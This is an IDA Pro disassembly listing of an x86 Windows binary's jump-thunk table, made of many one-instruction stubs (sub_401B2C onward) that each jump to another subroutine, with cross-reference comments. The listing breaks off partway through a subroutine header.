; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B2C	proc near
		jmp	sub_40AF80
sub_401B2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B31	proc near		; CODE XREF: ___:00418D7Bp
					; sub_418F90+28p ...
		jmp	sub_419050
sub_401B31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B36	proc near		; DATA XREF: ___:off_43F1B0o
		jmp	sub_42C7E0
sub_401B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B3B	proc near		; CODE XREF: ___:00416B7Bp
					; ___:0043B242j ...
		jmp	sub_417AD0
sub_401B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B40	proc near		; CODE XREF: ___:004087CBp
					; ___:004087ECp ...
		jmp	sub_4076B0
sub_401B40	endp

; ---------------------------------------------------------------------------
		jmp	loc_414BC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4A	proc near		; CODE XREF: sub_41C710+83p
					; ___:004295EFp
		jmp	sub_41D640
sub_401B4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4F	proc near		; CODE XREF: sub_41A990+11p
		jmp	sub_41A9C0
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B54	proc near		; CODE XREF: sub_41E760+339p
		jmp	sub_421D10
sub_401B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B59	proc near		; CODE XREF: sub_414D40+3p
		jmp	sub_414D70
sub_401B59	endp

; ---------------------------------------------------------------------------
		jmp	loc_433F90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B63	proc near		; CODE XREF: sub_430D90+29p
		jmp	sub_430830
sub_401B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B68	proc near		; CODE XREF: sub_40FE70+38p
					; ___:0043A458j
		jmp	sub_412C90
sub_401B68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B6D	proc near
		jmp	sub_40D660
sub_401B6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B72	proc near		; CODE XREF: sub_4076B0+3Bp
					; sub_407740+43p
		jmp	sub_40B510
sub_401B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B77	proc near		; CODE XREF: sub_407320+3p
		jmp	sub_4074F0
sub_401B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B7C	proc near		; CODE XREF: sub_424920+9Dp
					; sub_424920+FBp ...
		jmp	sub_4246D0
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401B81:				; DATA XREF: ___:off_43F084o
		jmp	loc_426EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B86	proc near		; CODE XREF: sub_410030+413p
					; sub_410030+F69p ...
		jmp	sub_40A040
sub_401B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B8B	proc near		; CODE XREF: ___:00426764p
		jmp	sub_4267D0
sub_401B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B90	proc near		; CODE XREF: sub_422150+32p
		jmp	sub_422510
sub_401B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B95	proc near		; CODE XREF: sub_41B5B0+A5p
		jmp	sub_41A7D0
sub_401B95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9A	proc near		; CODE XREF: sub_40C040+23p
					; sub_40C200+11p
		jmp	sub_40C3A0
sub_401B9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9F	proc near		; CODE XREF: ___:0042CB23p
		jmp	sub_42CB50
sub_401B9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BA4	proc near
		jmp	sub_41E240
sub_401BA4	endp

; ---------------------------------------------------------------------------


loc_401BA9:				; DATA XREF: sub_431240+86o
		jmp	loc_432940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BAE	proc near		; CODE XREF: sub_409610+20p
		jmp	sub_4096E0
sub_401BAE	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB8	proc near		; DATA XREF: ___:off_43F0A4o
		jmp	sub_40CC90
sub_401BB8	endp

; ---------------------------------------------------------------------------
		jmp	loc_431CC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BC2	proc near		; CODE XREF: sub_421CD0+1Fp
		jmp	sub_4220B0
sub_401BC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BC7	proc near		; CODE XREF: sub_428810+39p
		jmp	sub_4283D0
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BCC	proc near		; CODE XREF: sub_415820+5p
					; sub_415A30+6p ...
		jmp	sub_416480
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD1	proc near		; CODE XREF: sub_4316C0+5Dp
					; sub_432A20+3Ep
		jmp	sub_4317C0
sub_401BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD6	proc near		; CODE XREF: ___:00433419p
					; ___:0043343Ap ...
		jmp	sub_431EF0
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BDB	proc near		; CODE XREF: ___:00427092p
		jmp	sub_427C90
sub_401BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BE0	proc near		; CODE XREF: sub_41B4D0+3p
		jmp	sub_41B500
sub_401BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BE5	proc near		; CODE XREF: sub_429510+3p
		jmp	sub_429540
sub_401BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEA	proc near		; CODE XREF: sub_422B40+924p
					; ___:0042416Ap
		jmp	sub_426BD0
sub_401BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEF	proc near		; CODE XREF: sub_42E5B0+18Dp
					; sub_42E5B0+1CDp ...
		jmp	sub_42F2C0
sub_401BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF4	proc near		; CODE XREF: ___:0041433Cp
		jmp	sub_414430
sub_401BF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF9	proc near
		jmp	sub_40C440
sub_401BF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BFE	proc near		; CODE XREF: sub_425100+8Bp
		jmp	sub_424920
sub_401BFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C03	proc near		; CODE XREF: ___:0040B1FEp
					; sub_40B250+34p ...
		jmp	sub_40BEB0
sub_401C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C08	proc near		; CODE XREF: sub_40B190+5Cp
		jmp	sub_40BD50
sub_401C08	endp

; ---------------------------------------------------------------------------
		jmp	loc_433AB0
; ---------------------------------------------------------------------------
		jmp	loc_432410

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C17	proc near		; CODE XREF: sub_431DC0+20p
					; sub_431EF0+20p ...
		jmp	sub_431980
sub_401C17	endp

; ---------------------------------------------------------------------------
		jmp	loc_430020

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C21	proc near
		jmp	sub_435AA0
sub_401C21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C26	proc near		; CODE XREF: sub_4138B0+84p
					; sub_434D10+3Cp ...
		jmp	sub_434C30
sub_401C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C2B	proc near		; CODE XREF: ___:0042D7C8p
		jmp	sub_42C350
sub_401C2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C30	proc near		; CODE XREF: sub_42BB00+446p
		jmp	sub_42B8E0
sub_401C30	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B720

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3A	proc near		; CODE XREF: ___:00432546p
					; sub_4344C0+23p
		jmp	sub_432DB0
sub_401C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3F	proc near		; DATA XREF: ___:off_43F12Co
		jmp	sub_4292E0
sub_401C3F	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C49	proc near		; CODE XREF: sub_41B0E0+8p
					; ___:0041B49Dp ...
		jmp	sub_41A110
sub_401C49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C4E	proc near		; CODE XREF: sub_42B3F0+3p
		jmp	sub_42B420
sub_401C4E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AE80
; ---------------------------------------------------------------------------
		jmp	loc_416A90

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C5D	proc near		; CODE XREF: sub_40BE70+1Fp
		jmp	sub_40BFA0
sub_401C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C62	proc near		; CODE XREF: sub_415B00+9p
					; sub_415C20+18p
		jmp	sub_4166D0
sub_401C62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C67	proc near		; CODE XREF: sub_418D50+4p
		jmp	sub_419070
sub_401C67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C6C	proc near		; CODE XREF: sub_4073C0+11p
					; ___:004073E7p ...
		jmp	sub_407570
sub_401C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C71	proc near		; CODE XREF: sub_404CC0+111p
					; sub_40D660+42p ...
		jmp	sub_40A2D0
sub_401C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C76	proc near		; CODE XREF: ___:0041326Ap
					; sub_4132F0+3Cp ...
		jmp	sub_4158D0
sub_401C76	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FCB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C80	proc near		; CODE XREF: sub_4269A0+69p
		jmp	sub_426B10
sub_401C80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C85	proc near		; CODE XREF: sub_40B600+2Fp
					; sub_40B600+6Ep ...
		jmp	sub_40BE40
sub_401C85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8A	proc near		; CODE XREF: ___:00430078p
					; ___:0043008Dp ...
		jmp	sub_433FB0
sub_401C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C8F	proc near		; CODE XREF: sub_415450+11p
					; sub_415ED0+1Fp
		jmp	sub_4160C0
sub_401C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C94	proc near		; DATA XREF: ___:0043F0D4o
		jmp	sub_41D930
sub_401C94	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C9E	proc near		; CODE XREF: sub_4073C0+9p
					; sub_418E80+18p
		jmp	sub_407610
sub_401C9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CA3	proc near		; CODE XREF: sub_4132C0+3p
					; ___:00416C3Bp ...
		jmp	sub_4132F0
sub_401CA3	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B8F0
; ---------------------------------------------------------------------------


loc_401CAD:				; DATA XREF: ___:off_43F05Co
		jmp	loc_416D90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CB7	proc near		; CODE XREF: ___:00416F6Ap
		jmp	sub_4182B0
sub_401CB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CBC	proc near		; CODE XREF: sub_415BA0+Cp
					; sub_415BA0+43p
		jmp	sub_4166A0
sub_401CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CC1	proc near		; CODE XREF: sub_4096E0+45p
		jmp	sub_4099C0
sub_401CC1	endp

; ---------------------------------------------------------------------------
		jmp	loc_434430
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD0	proc near		; CODE XREF: sub_410030+3A4p
		jmp	sub_40A0E0
sub_401CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CD5	proc near		; CODE XREF: sub_4077E0+6BEp
					; ___:00407F45p ...
		jmp	sub_407740
sub_401CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDA	proc near		; CODE XREF: sub_415500+14p
					; sub_415540+9p ...
		jmp	sub_416190
sub_401CDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDF	proc near		; CODE XREF: sub_4096E0+144p
		jmp	sub_409A50
sub_401CDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CE4	proc near		; CODE XREF: sub_404690+1C2p
					; sub_404B60+36p ...
		jmp	sub_4134A0
sub_401CE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CE9	proc near		; CODE XREF: sub_4151C0+34p
					; sub_415C20+67p
		jmp	sub_415DC0
sub_401CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CEE	proc near
		jmp	sub_409B80
sub_401CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF3	proc near		; DATA XREF: ___:0043F06Co
		jmp	sub_41FD00
sub_401CF3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F3A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CFD	proc near		; CODE XREF: sub_40BF70+5p
		jmp	sub_40C1D0
sub_401CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D02	proc near		; CODE XREF: ___:0043242Fp
		jmp	sub_430520
sub_401D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D07	proc near		; CODE XREF: sub_421E50+11p
					; ___:00421E77p ...
		jmp	sub_422400
sub_401D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D0C	proc near		; DATA XREF: ___:0043F048o
		jmp	sub_4132C0
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D11	proc near		; CODE XREF: sub_415890+1Fp
		jmp	sub_416220
sub_401D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D16	proc near		; CODE XREF: sub_40F6D0+1ACp
					; sub_40F6D0+1EDp ...
		jmp	sub_40F660
sub_401D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D1B	proc near		; CODE XREF: sub_413E70+15Cp
		jmp	sub_414160
sub_401D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D20	proc near		; CODE XREF: sub_404C70+23p
					; sub_410030+13C2p
		jmp	sub_412BF0
sub_401D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D25	proc near		; CODE XREF: ___:00416F2Fp
		jmp	sub_418150
sub_401D25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D2A	proc near		; CODE XREF: sub_407590+7p
					; sub_40C2E0+7p ...
		jmp	sub_407630
sub_401D2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D2F	proc near		; CODE XREF: sub_40A8F0+1Ap
					; sub_40A9A0+4p ...
		jmp	sub_40A960
sub_401D2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D34	proc near		; CODE XREF: sub_404690+289p
					; sub_404690+2ADp ...
		jmp	sub_40A180
sub_401D34	endp

; ---------------------------------------------------------------------------
		jmp	loc_4305A0
; ---------------------------------------------------------------------------


loc_401D3E:				; DATA XREF: ___:0043F154o
		jmp	loc_4295B0
; ---------------------------------------------------------------------------
		jmp	loc_42F970

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D48	proc near
		jmp	sub_404010
sub_401D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D4D	proc near		; CODE XREF: sub_4120B0+123p
					; sub_4120B0+1E2p
		jmp	sub_412780
sub_401D4D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B570
; ---------------------------------------------------------------------------
		jmp	loc_40B870

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D5C	proc near		; CODE XREF: sub_421D80+5p
		jmp	sub_4222E0
sub_401D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D61	proc near		; CODE XREF: sub_415F70+5Fp
		jmp	sub_416790
sub_401D61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D66	proc near		; CODE XREF: sub_41D930+2C7p
		jmp	sub_42FD30
sub_401D66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D6B	proc near		; CODE XREF: sub_418CA0+7p
		jmp	sub_418F40
sub_401D6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D70	proc near		; CODE XREF: sub_413740+5Dp
					; sub_413740+9Bp ...
		jmp	sub_415420
sub_401D70	endp

; ---------------------------------------------------------------------------
		jmp	loc_437390

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D7A	proc near		; CODE XREF: sub_415820+14p
					; sub_415860+9p ...
		jmp	sub_4164E0
sub_401D7A	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B960

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D84	proc near		; CODE XREF: sub_4341C0+98p
		jmp	sub_431950
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D89	proc near		; CODE XREF: sub_421C60+14p
					; sub_421CA0+9p ...
		jmp	sub_4222B0
sub_401D89	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DAD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D93	proc near
		jmp	sub_41C490
sub_401D93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D98	proc near		; CODE XREF: sub_418AB0+14p
					; sub_418AF0+9p ...
		jmp	sub_418E20
sub_401D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D9D	proc near		; CODE XREF: sub_413740+53p
					; sub_413740+91p ...
		jmp	sub_415270
sub_401D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA2	proc near		; CODE XREF: sub_422B40+56p
		jmp	sub_426B90
sub_401DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA7	proc near		; CODE XREF: sub_422B40+18Ap
		jmp	sub_426A90
sub_401DA7	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DB1	proc near		; CODE XREF: sub_429330+81p
		jmp	sub_428DC0
sub_401DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DB6	proc near		; CODE XREF: sub_415770+11p
					; sub_416220+1Fp
		jmp	sub_416410
sub_401DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DBB	proc near		; CODE XREF: sub_415230+14p
					; sub_415270+9p ...
		jmp	sub_415E40
sub_401DBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DC0	proc near		; CODE XREF: ___:004147E3p
		jmp	sub_4145A0
sub_401DC0	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_425DC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DCF	proc near		; CODE XREF: sub_428260+90p
		jmp	sub_428810
sub_401DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DD4	proc near		; CODE XREF: ___:0042C468p
		jmp	sub_42C1B0
sub_401DD4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4141F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DDE	proc near		; CODE XREF: sub_434AD0+74p
		jmp	sub_432AE0
sub_401DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE3	proc near		; CODE XREF: sub_41FB90+1Dp
		jmp	sub_40B150
sub_401DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DE8	proc near		; CODE XREF: sub_40AAD0+45p
		jmp	sub_40AD50
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DED	proc near		; CODE XREF: ___:0043062Dp
					; ___:00430752p ...
		jmp	sub_432C80
sub_401DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DF2	proc near		; CODE XREF: ___:00426F24p
		jmp	sub_4281A0
sub_401DF2	endp

; ---------------------------------------------------------------------------
		jmp	loc_432D50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DFC	proc near		; CODE XREF: sub_410030+AE7p
					; sub_410030+E5Dp
		jmp	sub_41EF70
sub_401DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E01	proc near		; CODE XREF: sub_40AD80+Ap
		jmp	sub_40AE70
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E06	proc near		; CODE XREF: ___:00416B3Bp
					; ___:0043B27Aj ...
		jmp	sub_417BE0
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E0B	proc near		; CODE XREF: sub_421F80+4p
		jmp	sub_422420
sub_401E0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E10	proc near		; CODE XREF: sub_40C4E0+271p
					; sub_425100+50p ...
		jmp	sub_423760
sub_401E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E15	proc near		; CODE XREF: ___:0041627Ap
		jmp	sub_416860
sub_401E15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1A	proc near		; CODE XREF: sub_415DC0+7p
		jmp	sub_4165C0
sub_401E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1F	proc near		; CODE XREF: sub_41D930+19Bp
		jmp	sub_42DA80
sub_401E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E24	proc near		; CODE XREF: sub_404CC0+835p
					; sub_404CC0+B62p ...
		jmp	sub_4129D0
sub_401E24	endp

; ---------------------------------------------------------------------------
		jmp	sub_4132C0
; ---------------------------------------------------------------------------
		jmp	sub_429510

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E33	proc near		; CODE XREF: sub_415490+34p
					; sub_415F70+67p
		jmp	sub_416110
sub_401E33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E38	proc near		; CODE XREF: sub_413740+31p
					; sub_4145A0+2Dp
		jmp	sub_4153B0
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E3D	proc near		; CODE XREF: sub_40CC90+1F1p
					; ___:00423FBFp ...
		jmp	sub_426930
sub_401E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E42	proc near		; CODE XREF: sub_4159F0+3p
		jmp	sub_4164C0
sub_401E42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E47	proc near		; CODE XREF: sub_404690+97p
					; sub_404690+107p ...
		jmp	sub_40A4A0
sub_401E47	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_426020

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E56	proc near		; CODE XREF: ___:00423DFAp
		jmp	sub_423950
sub_401E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E5B	proc near		; CODE XREF: ___:00421E0Ap
		jmp	sub_422310
sub_401E5B	endp

; ---------------------------------------------------------------------------
		jmp	loc_416E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E65	proc near
		jmp	sub_4368D0
sub_401E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6A	proc near		; DATA XREF: ___:off_43F098o
		jmp	sub_4369E0
sub_401E6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6F	proc near		; CODE XREF: ___:004337FFp
		jmp	sub_4310A0
sub_401E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E74	proc near		; CODE XREF: sub_4166A0+5p
		jmp	sub_4168F0
sub_401E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E79	proc near		; CODE XREF: sub_404CC0+28Dp
					; sub_41D930+6A3p
		jmp	sub_40DC20
sub_401E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E7E	proc near		; CODE XREF: sub_422510+5Fp
		jmp	sub_422700
sub_401E7E	endp

; ---------------------------------------------------------------------------
		jmp	loc_419F90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E88	proc near		; CODE XREF: sub_40F6D0+22p
					; sub_411930+1Dp ...
		jmp	sub_40AEA0
sub_401E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E8D	proc near		; CODE XREF: sub_40AAD0+112p
					; sub_40AAD0+153p
		jmp	sub_40ADB0
sub_401E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E92	proc near		; DATA XREF: ___:off_43F0C0o
		jmp	sub_41B110
sub_401E92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E97	proc near		; CODE XREF: sub_4156D0+3p
		jmp	sub_416170
sub_401E97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E9C	proc near		; CODE XREF: sub_427C50+1Ap
		jmp	sub_427B10
sub_401E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA1	proc near		; CODE XREF: ___:00416C0Bp
					; ___:0043B1C4j ...
		jmp	sub_4176E0
sub_401EA1	endp

; ---------------------------------------------------------------------------
		jmp	loc_4331B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_4201F0+3Ap
		jmp	sub_420400
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EB0	proc near		; DATA XREF: ___:0043F114o
		jmp	sub_428260
sub_401EB0	endp

; ---------------------------------------------------------------------------
		jmp	loc_433AF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EBA	proc near		; CODE XREF: sub_416410+4p
		jmp	sub_416810
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_415920+5Bp
					; sub_4162C0+11p ...
		jmp	sub_416510
sub_401EBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EC4	proc near		; CODE XREF: sub_415740+5p
		jmp	sub_4161F0
sub_401EC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EC9	proc near		; CODE XREF: sub_424920+151p
		jmp	sub_4248E0
sub_401EC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: ___:00416BABp
					; ___:0043B218j ...
		jmp	sub_417930
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_4153B0+3p
		jmp	sub_415E20
sub_401ED3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401ED8	proc near		; CODE XREF: sub_415100+11p
					; sub_415140+13p ...
		jmp	sub_415D70
sub_401ED8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EDD	proc near		; CODE XREF: sub_421A60+14p
					; sub_421AA0+9p ...
		jmp	sub_422050
sub_401EDD	endp

; ---------------------------------------------------------------------------
		jmp	loc_418960
; ---------------------------------------------------------------------------
		jmp	loc_41C350

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_418F90+18p
					; sub_421DB0+9p
		jmp	sub_419150
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


